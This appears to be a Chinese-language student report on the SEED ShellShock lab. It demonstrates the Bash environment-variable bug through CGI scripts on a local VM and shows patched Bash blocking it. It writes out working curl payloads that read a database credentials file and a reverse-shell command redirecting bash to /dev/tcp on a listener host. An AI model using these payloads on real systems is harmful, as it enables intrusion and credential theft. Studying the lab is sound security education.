

实验二 ShellShock 攻击实验

Task1: Bash 函数

- 1, 启动 Bash_shellshock, 设计程序并验证该程序确实存在漏洞。如下所示: Bash_shellshock 将对环境变量逐步解析并执行, 输出尾部指令 echo:

```
[04/05/21]seed@VM:~/.../lab3$ foo='() { echo "hello,world"; }; echo "IAmAttacker!";'
[04/05/21]seed@VM:~/.../lab3$ echo $foo
() { echo "hello,world"; }; echo "IAmAttacker!";
[04/05/21]seed@VM:~/.../lab3$ export foo
[04/05/21]seed@VM:~/.../lab3$ bash_shellshock
IAmAttacker!
```

- 2, 在修复了漏洞的 Bash 上执行该指令, 观察结果。如下图所示: Bash 报错, 语法错误。

```
[04/05/21]seed@VM:~/.../lab3$ foo='() { echo "hello,world!"; }; echo "IAmAttacker:)";'
[04/05/21]seed@VM:~/.../lab3$ echo $foo
() { echo "hello,world!"; }; echo "IAmAttacker:)";
[04/05/21]seed@VM:~/.../lab3$ export foo
[04/05/21]seed@VM:~/.../lab3$ bash
bash: eval: line 31: syntax error near unexpected token `)'
bash: eval: line 31: `IAmAttacker:)'
```

Task2: 设置 CGI 脚本程序

- 1, 编写 CGI 脚本程序。使用 root 权限将其移动至 usr/lib/cgi-bin/文件夹下, 修改权限为 755。
如下图所示:

```
[04/05/21]seed@VM:~/.../libb$ cd cgi-bin/
[04/05/21]seed@VM:~/.../cgi-bin$ ls
myprog.cgi  printenv.cgi
[04/05/21]seed@VM:~/.../cgi-bin$ cat myprog.cgi
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo
echo "Hello,World! :-)"
[04/05/21]seed@VM:~/.../cgi-bin$
```

- 2, 使用 localhost 代替远程主机, 访问 server, 查看 CGI 脚本运行结果。如下所示:

```
[04/05/21]seed@VM:~/.../lab3$ curl http://localhost/cgi-bin/myprog.cgi
Hello,World!  :-)
[04/05/21]seed@VM:~/.../lab3$
```

Task3: 使用环境变量将数据传递至 Bash

1, 执行该 CGI 程序, 观察运行结果: 获得并返回 server 的环境变量。如下图所示:

```
[04/05/21]seed@VM:~/.../lab3$ curl -A "ZhuHao" http://localhost/cgi-bin/printEV.cgi
***** Environment Vairables *****
HTTP_HOST=localhost
HTTP_USER_AGENT=ZhuHao
HTTP_ACCEPT=/*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.18 (Ubuntu) Server at localhost Port 80</address>
SERVER_SOFTWARE=Apache/2.4.18 (Ubuntu)
SERVER_NAME=localhost
SERVER_ADDR=127.0.0.1
SERVER_PORT=80
```

2, 解释远程攻击者的数据是如何获取 server 端环境变量的。

- (1) 攻击者发送 http 请求, 并修改部分字段内容, 如 ZhuHao;
- (2) Server 收到该 http 请求, 欲 fork 一个新 Bash 处理对该请求的相应。因此, 其将字段关键字作为环境变量传递给新的 Bash;
- (3) Bash 执行 cgi 程序, cgi 程序打印当前环境变量, 我们修改的内容也在其中。

Task4: 发动 ShellShock 攻击

注意, 我们攻击的主要手段并不在于 cgi 程序中做什么手脚, 而是关注 server 在启动对相应的 cgi 脚本响应请求时, 将首先 fork 一个新的 Bash。这个流程使得我们可以发起攻击。我们在 http 请求字段中伪装的指令最终都会在新的 Bash 中执行, 当 cgi 脚本之后执行完毕后, server 会将此次 Bash 执行的所有内容返回给我们。

1, 在前面 task 的基础上, 发动攻击, 获取 server 的数据库密码。如下图所示, 执行指令并获得数据库密码:


指令: `curl -A "() { echo hello; }; echo Content_type: text/plain; echo; /bin/cat`

/var/www/CSRF/Elgg/elgg-config/settings.php" <http://localhost/cgi-bin/myprog.cgi>

```
[04/05/21]seed@VM:~/.../lab3$ ls
<t /var/www/CSRF/Elgg/elgg-config/settings.php" http://localhost/cgi-bin/myprog.cgi
<?php
/**
 * Defines database credentials.
 *
 * Most of Elgg's configuration is stored in the database. This file contains the
 * credentials to connect to the database, as well as a few optional configuration
 * values.
 *
 * The Elgg installation attempts to populate this file with the correct settings
 * and then rename it to settings.php.
 *
 * @todo Turn this into something we handle more automatically.
 * @package Elgg.Core
 * @subpackage Configuration
 */
date_default_timezone_set('UTC');
global $CONFIG;
```

2, 能否窃取/etc/shadow 文件, 为什么?


不能, 结果如下。因为 server 响应本次 cgi 启动的 Bash 权限只是 web 用户 www-data, 并非 server 端的 root 用户。而打开 server 端的 etc/shadow 文件需要 root 权限。

```
<ain; echo; /bin/cat /etc/shadow" http://localhost/cgi-bin/myprog.cgi
[04/05/21]seed@VM:~/.../lab3$  nothing!
```

Task5: 攻击成功后创建反向 shell

1, client 端攻击者运行指令" nc -l 9090 -v", 创建一个 TCP server 并监听本地 9090 号端口。

如下: (这里建议在指令后增加&, 使得指令可以在当前 shell 后台运行, 方便我们执行 http 请求操作)

```
[04/05/21]seed@VM:~/.../lab3$ nc -l 9090 -v
Listening on [0.0.0.0] (family 0, port 9090)

```

2, 向 server 端的 cgi 脚本发起恶意请求。请求中将对 shell 的输入/输出进行重定位。如下:

```
[04/05/21]seed@VM:~/../lab3$ nc -l 9090 -v&
[2] 5425
Listening on [0.0.0.0] (family 0, port 9090)
<9090 0<&1 2>&1" http://localhost/cgi-bin/myprog.cgi
Connection from [172.16.121.87] port 9090 [tcp/*] accepted (family 2, sport 50558)
bash: cannot set terminal process group (3225): Inappropriate ioctl for device
bash: no job control in this shell
www-data@VM:/usr/lib/cgi-bin$
www-data@VM:/usr/lib/cgi-bin$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@VM:/usr/lib/cgi-bin$
```

3, 用自己的语言解释反向 shell 创建的过程。

由 task4 内容我们可以知道, 通过在 http 请求字段中添加 “/bin/ls-l” 指令, 可以获得 server 返回的当前目录。将指令修改为 “/bin/bash”, 就能让 server 端执行一个 shell 程序, 只是这个 shell 的输入输出都是在 server 端, 我们作为远端攻击者无法控制。

我们可以在 client 创建一个 TCP 服务器, 并将 server 端 shell 的输入输出和错误设备重定向到这个链接。这样, 我们可以通过这个 tcp 链接将 shell 指令传送给反向 shell, 同时从这个链接上获得 shell 执行结果。

Task6: 使用安全的 Bash

在安全的 Bash 上重复 task3 和 task5。观察并记录结果。

1, task3: Bash 接受了 shell 传递的环境变量, 从打印结果可以看出。如下图所示:

```
[04/05/21]seed@VM:~/../lab3$ curl -A "china" http://localhost/cgi-bin/printEV.cgi
***** Environment Vairables *****
HTTP_HOST=localhost
HTTP_USER_AGENT=china
HTTP_ACCEPT= */*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.18 (Ubuntu) Server at localhost Port 80</address>
```

2, task5: 重复执行操作可以发现, 无法连接 tcp, 即安全的 Bash 不再解析语法有问题的环境变量。正常执行 cgi 脚本程序。如下图所示:

```
Terminal File Edit View Search Terminal Help
[04/05/21]seed@VM:~/.../lab3$ nc -l 9090 -v
Listening on [0.0.0.0] (family 0, port 9090)
^C
[04/05/21]seed@VM:~/.../lab3$ nc -l 9090 -v
Listening on [0.0.0.0] (family 0, port 9090)

```

只有监听，无法收到连接

```
Terminal File Edit View Search Terminal Help
bin/bash -i > /dev/tcp/172.16.121.87/9090 0<&1 2>&1
HTTP_ACCEPT=/*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.18 (Ubuntu) Server at localhost Port 80</address>
SERVER_SOFTWARE=Apache/2.4.18 (Ubuntu)
SERVER_NAME=localhost
SERVER_ADDR=127.0.0.1
SERVER_PORT=80
REMOTE_ADDR=127.0.0.1
DOCUMENT_ROOT=/var/www/html
REQUEST_SCHEME=http
CONTEXT_PREFIX=/cgi-bin/
CONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/

```

不再执行该语句

正常执行CGI脚本文件，打印EV